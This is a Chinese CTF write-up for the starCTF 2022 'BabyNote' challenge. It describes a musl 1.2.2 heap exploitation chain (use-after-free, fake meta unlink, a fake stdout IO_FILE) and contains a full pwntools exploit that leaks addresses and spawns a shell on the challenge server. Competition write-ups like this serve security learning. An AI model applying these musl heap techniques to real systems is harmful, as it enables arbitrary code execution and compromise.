[starCTF 2022] BabyNote - musl 1.2.2 pwn
前言
不算很复杂的musl堆题,但是用了musl 1.2.2。相比于musl 1.1.x中使用的以链表为主的类似dlmalloc
的内存管理器,musl 1.2.2则采用了:malloc_context
->meta_arena
->meta
->gropu (chunks)
这样的多级结构,并且free掉的chunk有bitmap直接管理(而不是放入某些链表中)。但是meta
依然存在无检查的unlink操作,所以大部分攻击的思路仍然是构造出fake meta,然后触发dequeue条件完成任意地址写一个指针。做到任意地址写之后的思路就比较多了:
- 可以尝试写rop到栈上
- 可以尝试伪造
fake stdout
并将指针写到stdout_used
,fake stdout
的头部可以写为"/bin/sh\x00"
,write
指针写为system
指针,这样当exit()
时就会触发system("/bin/sh")
调用 - 可以参考别的博主写
_aexit()
中相关函数指针的方法
思路:
- 堆风水+UAF把一个note构造到另一个note的
note->content
域下,find功能泄露出elf_base和初始堆地址(musl的初始堆地址在二进制文件的地址空间中) - 再用一种堆风水思路借助UAF构造fake note占用掉发生UAF的原note,构造指针进行任意地址泄露,重复该步骤两次分别泄露libc地址和
__malloc+context
中的secret(用于后序步骤伪造) 同样借助UAF构造一个fake note,并从一个页对齐的位置顺序构造
fake_arena | fake_meta | fake_group | fake_chunk | fake IO_FILE
,fake note的next指向fake_chunk然后构造fake_meta
的prev
和next
使得freefake_note->next
之后的unlink
将fake IO_FILE
的地址写入到stdout_user
中- 由于
__IO_FILE
中存在如下指针:size_t (*write)(FILE *, const unsigned char *, size_t);
,只要控制好参数和指针就可以进行execve("/bin/sh", NULL, NULL)
来getshell - 详细的实现细节可以参考[2]中的描述
- 由于
Notice:
- 为了保证和远程环境最大程度相似,建议在调试前
cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so
,如果怕覆盖掉本地的musl可以先mv备份 - 开启和关闭ASLR会导致某个常量发生变化,调试的时候记得手动修改一下(见注释)
- 为了方便调试,可以下载一份musl-1.2.2源码然后用
dir ./musl-1.2.2/src/malloc
和dir ./musl-1.2.2/src/malloc/mallocng
加载malloc相关的调试符号(在free的时候带源码调试可以很方便检查程序流卡在哪个assert)
EXP:
from pwn import *
context.log_level = "debug"
# 调试本地环境记得一定要拷贝到这个路径,用ld的启动方式vmmap会很tm怪!
# cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so
p = process("./babynote")
p = remote("123.60.76.240", 60001)
def add(name, content, size=-1):
p.sendlineafter(b"option: ", b"1")
if size >= 0:
p.sendlineafter(b"name size: ", str(size).encode())
else:
p.sendlineafter(b"name size: ", str(len(name)).encode())
p.sendafter(b"name: ", name)
p.sendlineafter(b"note size: ", str(len(content)).encode())
p.sendafter(b"note content: ", content)
def find(name, size=-1):
p.sendlineafter(b"option: ", b"2")
if size >= 0:
p.sendlineafter(b"name size: ", str(size).encode())
else:
p.sendlineafter(b"name size: ", str(len(name)).encode())
p.sendafter(b"name: ", name)
def delete(name):
p.sendlineafter(b"option: ", b"3")
p.sendlineafter(b"name size: ", str(len(name)).encode())
p.sendafter(b"name: ", name)
def forget():
p.sendlineafter(b"option: ", b"4")
def exit():
p.sendlineafter(b"option: ", b"5")
def exp():
## ------------ leak addr info ------------
for i in range(3):
add(bytes([0x41+i])*0xc, bytes([0x61+i])*0x28) # A-C
for i in range(3):
find(b"x"*0x28)
forget()
add(b"E"*0xc, b"e"*0x28) # E uaf
# -- new group
add(b"F"*0xc, b"f"*0x28) # F hold E
delete(b"E"*0xc)
add(b"eqqie", b"x"*0x38) # occupy
find(b"E"*0xc)
p.recvuntil(b"0x28:")
leak_heap = 0
leak_elf = 0
for i in range(8):
leak_heap += int(p.recv(2).decode(), 16) << (i*8)
for i in range(8):
leak_elf += int(p.recv(2).decode(), 16) << (i*8)
elf_base = leak_elf - 0x4fc0
heap_base = elf_base
print("leak_heap:", hex(leak_heap))
print("leak_elf:", hex(leak_elf))
print("heap_base:", hex(heap_base))
print("elf_base:", hex(elf_base))
## ------------ leak libc addr ------------
read_got = elf_base+0x3fa8
add(b"Y"*0xc, b"y"*0xc) # occupy
forget() # fresh all
add(b"A"*0x4, b"a"*0x4)
add(b"B"*0x4, b"b"*0x4)
delete(b"A"*0x4)
for i in range(7):
find(b"x"*0x28)
fake_note = p64(heap_base+0x4cf0) + p64(read_got) # name('aaaa'), content(read@got)
fake_note += p64(4) + p64(8) # name_size, content_size
fake_note += p64(0) # next->null
add(b"C"*0x4, fake_note) # C occupy last chunk
find(b"a"*4)
p.recvuntil(b"0x8:")
read_got = b""
for i in range(8):
read_got += p8(int(p.recv(2).decode(), 16))
read_got = u64(read_got)
print("read_got:", hex(read_got))
libc_base = read_got - 0x74f10
stdout_used = libc_base + 0xb43b0
print("libc_base:", hex(libc_base))
print("stdout_used:", hex(stdout_used))
for i in range(7):
add(b"y"*0x4, b"y"*0x4) # run out of chunks
forget() # fresh all
## ------------ leak heap secret ------------
new_heap = libc_base - 0xb5000
print("new_heap:", hex(new_heap))
heap_secret_ptr = libc_base + 0xb4ac0
forget() # fresh all
add(b"A"*0x4, b"a"*0x4)
add(b"B"*0x4, b"b"*0x4)
delete(b"A"*0x4)
for i in range(7):
find(b"x"*0x28)
fake_note = p64(heap_base+0x4cb0) + p64(heap_secret_ptr) # name('aaaa'), content(heap_secret)
fake_note += p64(4) + p64(8) # name_size, content_size
fake_note += p64(0) # next->null
add(b"C"*0x4, fake_note) # C occupy last chunk
find(b"a"*4)
p.recvuntil(b"0x8:")
heap_secret = b""
for i in range(8):
heap_secret += p8(int(p.recv(2).decode(), 16))
print("heap_secret:", heap_secret)
for i in range(7):
add(b"y"*0x4, b"y"*0x4) # run out of chunks
forget() # fresh all
## ------------ build fake_meta, fake_chunk ------------
# 关ASLR打本地的时候记得改掉这个偏移
new_heap2 = libc_base - 0x7000 # aslr_on&remote: 0x7000 aslr_off: 0xd000
print("new_heap2:", hex(new_heap2))
add(b"A"*0x4, b"a"*0x4) # A
### pointers
system = libc_base + 0x50a90
execve = libc_base + 0x4f9c0
fake_area_addr = new_heap2 + 0x1000
fake_meta_ptr = fake_area_addr + 0x20
fake_group_ptr = fake_meta_ptr + 0x30
fake_iofile_ptr = fake_group_ptr + 0x10
fake_chunk_ptr = fake_iofile_ptr - 0x8
print("system:", hex(system))
print("fake_meta_ptr:", hex(fake_meta_ptr))
print("fake_group_ptr:", hex(fake_group_ptr))
print("fake_iofile_ptr:", hex(fake_iofile_ptr))
### fake arena
fake_area = heap_secret + b"M" * 0x18
### fake group
fake_group = p64(fake_meta_ptr)
### fake iofile
fake_iofile = p64(0) # chunk prefix: index 0, offset 0
fake_iofile += b"/bin/sh\x00" + b'X' * 32 + p64(0xdeadbeef) + b'X' * 8 + p64(0xbeefdead) + p64(execve) + p64(execve)
fake_iofile = fake_iofile.ljust(0x500, b"\x00")
### fake meta
fake_meta = p64(fake_iofile_ptr) + p64(stdout_used) # prev, next
fake_meta += p64(fake_group_ptr)
fake_meta += p64((1 << 1)) + p64((20 << 6) | (1 << 5) | 1 | (0xfff << 12))
fake_meta = fake_meta.ljust(0x30)
### final payload
payload = b"z"*(0x1000-0x20)
payload += fake_area + fake_meta + fake_group + fake_iofile
payload = payload.ljust(0x2000, b"z")
add(b"B"*0x4, payload) # check this
delete(b"A"*0x4)
for i in range(7):
find(b"x"*0x28)
## ------------ build fake_note ------------
fake_note = p64(heap_base+0x4960) + p64(fake_iofile_ptr) # name(d->content "dddd"), content(free it to unlink!!!)
fake_note += p64(4) + p64(4) # name_size, content_size
fake_note += p64(0) # next->null
add(b"C"*0x4, fake_note) # C occupy last chunk
add(b"D"*0x4, b"d"*4) # D
#gdb.attach(p, "dir ./musl-1.2.2/src/malloc\ndir ./musl-1.2.2/src/malloc/mallocng\nb free")
#pause()
delete(b"d"*0x4)
p.sendline(b"5")
p.interactive()
if __name__ == "__main__":
exp()
参考资料:
[1] https://www.anquanke.com/post/id/253566
[2] https://github.com/cscosu/ctf-writeups/tree/master/2021/def_con_quals/mooosl
[3] https://www.anquanke.com/post/id/241101#h2-5
[4] https://www.anquanke.com/post/id/241104
musl 1.2.2 版本的内存管理机制发生了特别大的变化,但是本题用到的所有知识网上都有公开可查的资料了